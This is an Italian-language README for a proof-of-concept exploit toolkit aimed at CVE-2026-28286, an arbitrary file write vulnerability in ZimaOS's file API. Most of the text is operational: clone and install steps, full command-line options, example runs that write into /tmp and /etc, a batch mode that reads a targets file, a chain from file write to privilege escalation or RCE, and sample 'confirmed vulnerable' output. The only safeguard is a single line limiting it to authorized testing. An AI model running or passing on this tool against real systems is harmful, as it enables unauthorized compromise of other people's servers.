
PoC e toolkit di verifica per CVE-2026-28286, una vulnerabilità di scrittura arbitraria di file in ZimaOS, che sfrutta una configurazione errata dell'API per scrivere file al di fuori delle directory previste.
Da Configurazione API Errata → Scrittura Arbitraria di File → Potenziale Compromissione del Sistema
/v2_1/files/filegit clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git
cd zimaos-cve-2026-28286-arbitrary-file-write
pip install -r requirements.txt
python3 poc.py
Puoi visualizzare tutte le opzioni disponibili usando:
python poc.py -h
usage: poc.py [-h] [-u URL] [-t TARGETS] [-p PATH] [--proxy PROXY] [--token TOKEN] [-n ATTEMPTS] [--delay DELAY]
options:
-h, --help show help message and exit
-u, --url URL Single target URL
-t, --targets TARGETS Targets file (batch mode)
-p, --path PATH Custom file path (default: /tmp)
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--token TOKEN Bearer authentication token
-n, --attempts Number of attempts
--delay Delay between batch requests (seconds)
python poc.py
python poc.py -u http://localhost:8080
python poc.py -u http://localhost:8080 -p /tmp
python poc.py -u http://localhost:8080 -p /etc
python poc.py -u http://localhost:8080 -n 5
python poc.py -u http://localhost:8080 --proxy http://127.0.0.1:8080
python poc.py -t targets.txt
python poc.py -t targets.txt --delay 2
python poc.py -u http://target.com -p /tmp -n 3 --proxy http://127.0.0.1:8080 --token YOUR_TOKEN
Usa la modalità proxy con Burp Suite per:
Il backend non riesce a imporre i confini del filesystem:
Questo consente di scrivere in:
/tmp/
/etc/
/usr/local/bin/
Scrittura Arbitraria di File
↓
Sovrascrittura Config / Script
↓
Escalation dei Privilegi / RCE

[✔] CONFERMATO vulnerabile (LISTING_SUCCESS)
Percorso: /tmp/CVE-2026-28286_⚠️_abc123.txt
Se hai trovato utile questo lavoro, considera di lasciare una stella ⭐ Aiuta più ricercatori a scoprire questo lavoro.
Solo per test autorizzati.